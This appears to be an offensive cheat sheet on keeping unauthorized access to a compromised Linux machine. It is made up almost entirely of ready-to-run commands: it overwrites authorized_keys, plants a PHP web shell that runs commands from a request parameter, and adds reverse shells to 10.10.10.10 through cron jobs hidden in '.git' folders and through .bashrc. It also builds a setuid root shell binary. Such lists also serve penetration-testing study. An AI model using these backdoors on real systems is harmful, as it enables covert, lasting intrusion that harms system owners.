Linux Persistence

Linux Persistance

SSH Key

• Can be root or normal user.

echo "SSH_PUB_KEY_HERE" > ~/.ssh/authorized_keys

PHP Backdoors

• Most likely need to be root, depends on if apache2 is already running, as well as web root permissions for your current user.

• On victim machine

sudo systemctl start apache2
cd /var/www/html 
nano ANKWTxiy11ugLHdaxJ.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Usage

http://target.com/ANKWTxiy11ugLHdaxJ.php?cmd=cat+/etc/passwd

Cron Job Backdoor

• On target if root

mkdir /usr/lib/.git 
cd /usr/lib/.git
echo '#!/bin/bash 
bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' > .git 
chmod +x .git 

• On target it not root

mkdir /var/tmp/.git 
cd /var/tmp/.git
echo '#!/bin/bash 
bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' > .git 
chmod +x .git

• Create the cron Job

crontab -e
* * * * * /bin/bash -c /usr/lib/.git/.git 
* * * * * /bin/bash -c /var/tmp/.git/.git

Bashrc Backdoor

• Can be used as the root or non root user

cd ~
echo 'bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' >> ~/.bashrc
tail ~/.bashrc

SUID Binary

• Need to be root, great backdoor if for example you found a priv-esc as a normal user and want an ability to priv-esc up in the future

• Depends on having gcc on the target

which gcc 
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > boot.c
gcc -o boot boot.c
rm boot.c
chmod u+s boot

• To trigger

./boot